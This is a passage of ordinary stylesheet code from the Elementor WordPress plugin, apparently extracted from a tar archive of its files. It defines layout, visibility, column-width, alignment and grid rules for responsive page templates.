.elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-mobile-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-icon{display:block;flex:unset}}.elementor-widget-icon-box .elementor-icon-box-title a{color:inherit}.elementor-widget-icon-box .elementor-icon-box-content{flex-grow:1}.elementor-widget-icon-box .elementor-icon-box-description{margin:0}assets/css/templates/frontend-rtl.css000064400000215772147206604650014014 0ustar00.elementor-hidden { display: none; } .elementor-visibility-hidden { visibility: hidden; } .elementor-screen-only, .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { position: absolute; top: -10000em; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .elementor-clearfix:after { content: ""; display: block; clear: both; width: 0; height: 0; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } .elementor *, .elementor *:before, .elementor *:after { box-sizing: border-box; } .elementor a { box-shadow: none; text-decoration: none; } .elementor hr { margin: 0; background-color: transparent; } .elementor img { height: auto; max-width: 100%; border: none; border-radius: 0; box-shadow: none; } .elementor .elementor-widget:not(.elementor-widget-text-editor):not(.elementor-widget-theme-post-content) figure { margin: 0; } .elementor embed, .elementor iframe, .elementor object, .elementor video { max-width: 100%; width: 100%; margin: 0; line-height: 1; border: none; } .elementor .elementor-background-video-container, .elementor .elementor-background-holder, .elementor .elementor-background { height: 100%; width: 100%; top: 0; left: 0; position: absolute; overflow: hidden; z-index: 0; direction: ltr; } .elementor .elementor-background-video-container { transition: opacity 1s; pointer-events: none; } .elementor .elementor-background-video-container.elementor-loading { opacity: 0; } .elementor .elementor-background-video-embed { max-width: none; } .elementor .elementor-background-video-embed, .elementor .elementor-background-video-hosted { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor .elementor-background-video { max-width: none; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor .elementor-html5-video { object-fit: cover; } .elementor .elementor-background-overlay { height: 100%; width: 100%; top: 0; left: 0; position: absolute; } .elementor .elementor-background-slideshow { position: absolute; width: 100%; height: 100%; z-index: 0; top: 0; right: 0; } .elementor .elementor-background-slideshow__slide__image { width: 100%; height: 100%; background-position: center center; background-size: cover; } .elementor-widget-wrap > .elementor-element.elementor-absolute, .e-con > .elementor-element.elementor-absolute, .e-con-inner > .elementor-element.elementor-absolute { position: absolute; } .elementor-widget-wrap > .elementor-element.elementor-fixed, .e-con > .elementor-element.elementor-fixed, .e-con-inner > .elementor-element.elementor-fixed { position: fixed; } .elementor-widget-wrap .elementor-element.elementor-widget__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget__width-initial { max-width: 100%; } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-initial { max-width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-initial { max-width: 100%; } } .elementor-element { --flex-direction: initial; --flex-wrap: initial; --justify-content: initial; --align-items: initial; --align-content: initial; --gap: initial; --flex-basis: initial; --flex-grow: initial; --flex-shrink: initial; --order: initial; --align-self: initial; flex-basis: var(--flex-basis); flex-grow: var(--flex-grow); flex-shrink: var(--flex-shrink); order: var(--order); align-self: var(--align-self); } .elementor-element.elementor-absolute, .elementor-element.elementor-fixed { z-index: 1; } .elementor-element:where(.e-con-full, .elementor-widget) { flex-direction: var(--flex-direction); flex-wrap: var(--flex-wrap); justify-content: var(--justify-content); align-items: var(--align-items); align-content: var(--align-content); gap: var(--gap); } .elementor-invisible { visibility: hidden; } .elementor-align-center { text-align: center; } .elementor-align-center .elementor-button { width: auto; } .elementor-align-right { text-align: right; } .elementor-align-right .elementor-button { width: auto; } .elementor-align-left { text-align: left; } .elementor-align-left .elementor-button { width: auto; } .elementor-align-justify .elementor-button { width: 100%; } .elementor-custom-embed-play { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-custom-embed-play i { font-size: 100px; color: #fff; text-shadow: 1px 0 6px rgba(0, 0, 0, 0.3); } .elementor-custom-embed-play svg { height: 100px; width: 100px; fill: #fff; filter: drop-shadow(1px 0 6px rgba(0, 0, 0, 0.3)); } .elementor-custom-embed-play i, .elementor-custom-embed-play svg { opacity: 0.8; transition: all 0.5s; } .elementor-custom-embed-play.elementor-playing i { font-family: eicons; } .elementor-custom-embed-play.elementor-playing i:before { content: "\e8fb"; } .elementor-custom-embed-play.elementor-playing i, .elementor-custom-embed-play.elementor-playing svg { animation: eicon-spin 2s infinite linear; } .elementor-tag { display: inline-flex; } .elementor-ken-burns { transition-property: transform; transition-duration: 10s; transition-timing-function: linear; } .elementor-ken-burns--out { transform: scale(1.3); } .elementor-ken-burns--active { transition-duration: 20s; } .elementor-ken-burns--active.elementor-ken-burns--out { transform: scale(1); } .elementor-ken-burns--active.elementor-ken-burns--in { transform: scale(1.3); } @media (min-width: ELEMENTOR_SCREEN_WIDESCREEN_MIN) { .elementor-widescreen-align-center { text-align: center; } .elementor-widescreen-align-center .elementor-button { width: auto; } .elementor-widescreen-align-right { text-align: right; } .elementor-widescreen-align-right .elementor-button { width: auto; } .elementor-widescreen-align-left { text-align: left; } .elementor-widescreen-align-left .elementor-button { width: auto; } .elementor-widescreen-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { .elementor-laptop-align-center { text-align: center; } .elementor-laptop-align-center .elementor-button { width: auto; } .elementor-laptop-align-right { text-align: right; } .elementor-laptop-align-right .elementor-button { width: auto; } .elementor-laptop-align-left { text-align: left; } .elementor-laptop-align-left .elementor-button { width: auto; } .elementor-laptop-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_TABLET_EXTRA_MAX) { .elementor-tablet_extra-align-center { text-align: center; } .elementor-tablet_extra-align-center .elementor-button { width: auto; } .elementor-tablet_extra-align-right { text-align: right; } .elementor-tablet_extra-align-right .elementor-button { width: auto; } .elementor-tablet_extra-align-left { text-align: left; } .elementor-tablet_extra-align-left .elementor-button { width: auto; } .elementor-tablet_extra-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-tablet-align-center { text-align: center; } .elementor-tablet-align-center .elementor-button { width: auto; } .elementor-tablet-align-right { text-align: right; } .elementor-tablet-align-right .elementor-button { width: auto; } .elementor-tablet-align-left { text-align: left; } .elementor-tablet-align-left .elementor-button { width: auto; } .elementor-tablet-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX) { .elementor-mobile_extra-align-center { text-align: center; } .elementor-mobile_extra-align-center .elementor-button { width: auto; } .elementor-mobile_extra-align-right { text-align: right; } .elementor-mobile_extra-align-right .elementor-button { width: auto; } .elementor-mobile_extra-align-left { text-align: left; } .elementor-mobile_extra-align-left .elementor-button { width: auto; } .elementor-mobile_extra-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-mobile-align-center { text-align: center; } .elementor-mobile-align-center .elementor-button { width: auto; } .elementor-mobile-align-right { text-align: right; } .elementor-mobile-align-right .elementor-button { width: auto; } .elementor-mobile-align-left { text-align: left; } .elementor-mobile-align-left .elementor-button { width: auto; } .elementor-mobile-align-justify .elementor-button { width: 100%; } } :root { --page-title-display: block; } .elementor-page-title, h1.entry-title { display: var(--page-title-display); } @keyframes eicon-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(359deg); } } .eicon-animation-spin { animation: eicon-spin 2s infinite linear; } .elementor-section { position: relative; } .elementor-section .elementor-container { display: flex; margin-right: auto; margin-left: auto; position: relative; } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-section .elementor-container { flex-wrap: wrap; } } .elementor-section.elementor-section-boxed > .elementor-container { max-width: 1140px; } .elementor-section.elementor-section-stretched { position: relative; width: 100%; } .elementor-section.elementor-section-items-top > .elementor-container { align-items: flex-start; } .elementor-section.elementor-section-items-middle > .elementor-container { align-items: center; } .elementor-section.elementor-section-items-bottom > .elementor-container { align-items: flex-end; } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) { .elementor-section.elementor-section-height-full { height: 100vh; } .elementor-section.elementor-section-height-full > .elementor-container { height: 100%; } } .elementor-bc-flex-widget .elementor-section-content-top > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: flex-start; } .elementor-bc-flex-widget .elementor-section-content-middle > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: center; } .elementor-bc-flex-widget .elementor-section-content-bottom > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: flex-end; } .elementor-row { width: 100%; display: flex; } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-row { flex-wrap: wrap; } } .elementor-widget-wrap { position: relative; width: 100%; flex-wrap: wrap; align-content: flex-start; } .elementor:not(.elementor-bc-flex-widget) .elementor-widget-wrap { display: flex; } .elementor-widget-wrap > .elementor-element { width: 100%; } .elementor-widget-wrap.e-swiper-container { width: calc(100% - (var(--e-column-margin-left, 0px) + var(--e-column-margin-right, 0px))); } .elementor-widget { position: relative; } .elementor-widget:not(:last-child) { margin-bottom: 20px; } .elementor-widget:not(:last-child).elementor-widget__width-auto, .elementor-widget:not(:last-child).elementor-widget__width-initial, .elementor-widget:not(:last-child).elementor-absolute { margin-bottom: 0; } .elementor-column { position: relative; min-height: 1px; display: flex; } .elementor-column-wrap { width: 100%; position: relative; display: flex; } .elementor-column-gap-narrow > .elementor-column > .elementor-element-populated { padding: 5px; } .elementor-column-gap-default > .elementor-column > .elementor-element-populated { padding: 10px; } .elementor-column-gap-extended > .elementor-column > .elementor-element-populated { padding: 15px; } .elementor-column-gap-wide > .elementor-column > .elementor-element-populated { padding: 20px; } .elementor-column-gap-wider > .elementor-column > .elementor-element-populated { padding: 30px; } .elementor-inner-section .elementor-column-gap-no .elementor-element-populated { padding: 0; } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) { .elementor-column.elementor-col-10, .elementor-column[data-col="10"] { width: 10%; } .elementor-column.elementor-col-11, .elementor-column[data-col="11"] { width: 11.111%; } .elementor-column.elementor-col-12, .elementor-column[data-col="12"] { width: 12.5%; } .elementor-column.elementor-col-14, .elementor-column[data-col="14"] { width: 14.285%; } .elementor-column.elementor-col-16, .elementor-column[data-col="16"] { width: 16.666%; } .elementor-column.elementor-col-20, .elementor-column[data-col="20"] { width: 20%; } .elementor-column.elementor-col-25, .elementor-column[data-col="25"] { width: 25%; } .elementor-column.elementor-col-30, .elementor-column[data-col="30"] { width: 30%; } .elementor-column.elementor-col-33, .elementor-column[data-col="33"] { width: 33.333%; } .elementor-column.elementor-col-40, .elementor-column[data-col="40"] { width: 40%; } .elementor-column.elementor-col-50, .elementor-column[data-col="50"] { width: 50%; } .elementor-column.elementor-col-60, .elementor-column[data-col="60"] { width: 60%; } .elementor-column.elementor-col-66, .elementor-column[data-col="66"] { width: 66.666%; } .elementor-column.elementor-col-70, .elementor-column[data-col="70"] { width: 70%; } .elementor-column.elementor-col-75, .elementor-column[data-col="75"] { width: 75%; } .elementor-column.elementor-col-80, .elementor-column[data-col="80"] { width: 80%; } .elementor-column.elementor-col-83, .elementor-column[data-col="83"] { width: 83.333%; } .elementor-column.elementor-col-90, .elementor-column[data-col="90"] { width: 90%; } .elementor-column.elementor-col-100, .elementor-column[data-col="100"] { width: 100%; } } @media (max-width: 479px) { .elementor-column.elementor-xs-10 { width: 10%; } .elementor-column.elementor-xs-11 { width: 11.111%; } .elementor-column.elementor-xs-12 { width: 12.5%; } .elementor-column.elementor-xs-14 { width: 14.285%; } .elementor-column.elementor-xs-16 { width: 16.666%; } .elementor-column.elementor-xs-20 { width: 20%; } .elementor-column.elementor-xs-25 { width: 25%; } .elementor-column.elementor-xs-30 { width: 30%; } .elementor-column.elementor-xs-33 { width: 33.333%; } .elementor-column.elementor-xs-40 { width: 40%; } .elementor-column.elementor-xs-50 { width: 50%; } .elementor-column.elementor-xs-60 { width: 60%; } .elementor-column.elementor-xs-66 { width: 66.666%; } .elementor-column.elementor-xs-70 { width: 70%; } .elementor-column.elementor-xs-75 { width: 75%; } .elementor-column.elementor-xs-80 { width: 80%; } .elementor-column.elementor-xs-83 { width: 83.333%; } .elementor-column.elementor-xs-90 { width: 90%; } .elementor-column.elementor-xs-100 { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-column.elementor-sm-10 { width: 10%; } .elementor-column.elementor-sm-11 { width: 11.111%; } .elementor-column.elementor-sm-12 { width: 12.5%; } .elementor-column.elementor-sm-14 { width: 14.285%; } .elementor-column.elementor-sm-16 { width: 16.666%; } .elementor-column.elementor-sm-20 { width: 20%; } .elementor-column.elementor-sm-25 { width: 25%; } .elementor-column.elementor-sm-30 { width: 30%; } .elementor-column.elementor-sm-33 { width: 33.333%; } .elementor-column.elementor-sm-40 { width: 40%; } .elementor-column.elementor-sm-50 { width: 50%; } .elementor-column.elementor-sm-60 { width: 60%; } .elementor-column.elementor-sm-66 { width: 66.666%; } .elementor-column.elementor-sm-70 { width: 70%; } .elementor-column.elementor-sm-75 { width: 75%; } .elementor-column.elementor-sm-80 { width: 80%; } .elementor-column.elementor-sm-83 { width: 83.333%; } .elementor-column.elementor-sm-90 { width: 90%; } .elementor-column.elementor-sm-100 { width: 100%; } } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) and (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-column.elementor-md-10 { width: 10%; } .elementor-column.elementor-md-11 { width: 11.111%; } .elementor-column.elementor-md-12 { width: 12.5%; } .elementor-column.elementor-md-14 { width: 14.285%; } .elementor-column.elementor-md-16 { width: 16.666%; } .elementor-column.elementor-md-20 { width: 20%; } .elementor-column.elementor-md-25 { width: 25%; } .elementor-column.elementor-md-30 { width: 30%; } .elementor-column.elementor-md-33 { width: 33.333%; } .elementor-column.elementor-md-40 { width: 40%; } .elementor-column.elementor-md-50 { width: 50%; } .elementor-column.elementor-md-60 { width: 60%; } .elementor-column.elementor-md-66 { width: 66.666%; } .elementor-column.elementor-md-70 { width: 70%; } .elementor-column.elementor-md-75 { width: 75%; } .elementor-column.elementor-md-80 { width: 80%; } .elementor-column.elementor-md-83 { width: 83.333%; } .elementor-column.elementor-md-90 { width: 90%; } .elementor-column.elementor-md-100 { width: 100%; } } @media (min-width: ELEMENTOR_SCREEN_WIDESCREEN_MIN) { .elementor-reverse-widescreen > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-widescreen > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-widescreen > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-widescreen > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-widescreen > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-widescreen > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-widescreen > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-widescreen > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-widescreen > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-widescreen > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_TABLET_NEXT) and (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_TABLET_EXTRA_NEXT) and (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_TABLET_NEXT) and (max-width: ELEMENTOR_SCREEN_TABLET_EXTRA_MAX) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: initial; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) and (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_MOBILE_EXTRA_NEXT) and (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) and (max-width: ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: initial; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(10) { order: 1; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-reverse-mobile > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-mobile > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-mobile > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-mobile > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-mobile > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-mobile > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-mobile > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-mobile > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-mobile > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-mobile > .elementor-container > :nth-child(10) { order: 1; } .elementor-column { width: 100%; } } ul.elementor-icon-list-items.elementor-inline-items { display: flex; flex-wrap: wrap; } ul.elementor-icon-list-items.elementor-inline-items .elementor-inline-item { word-break: break-word; } .elementor-grid { display: grid; grid-column-gap: var(--grid-column-gap); grid-row-gap: var(--grid-row-gap); } .elementor-grid .elementor-grid-item { min-width: 0; } .elementor-grid-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } @media (min-width: ELEMENTOR_SCREEN_WIDESCREEN_MIN) { .elementor-grid-widescreen-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-widescreen-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-widescreen-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-widescreen-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-widescreen-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-widescreen-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-widescreen-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-widescreen-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-widescreen-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-widescreen-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-widescreen-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-widescreen-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-widescreen-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-widescreen-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { .elementor-grid-laptop-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-laptop-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-laptop-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-laptop-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-laptop-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-laptop-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-laptop-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-laptop-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-laptop-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-laptop-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-laptop-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-laptop-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-laptop-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-laptop-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: ELEMENTOR_SCREEN_TABLET_EXTRA_MAX) { .elementor-grid-tablet_extra-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-tablet_extra-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-tablet_extra-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-tablet_extra-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-tablet_extra-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-tablet_extra-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-tablet_extra-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-tablet_extra-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-tablet_extra-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-tablet_extra-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-tablet_extra-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-tablet_extra-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-tablet_extra-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-tablet_extra-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-grid-tablet-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-tablet-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-tablet-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-tablet-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-tablet-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-tablet-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-tablet-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-tablet-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-tablet-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-tablet-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-tablet-9 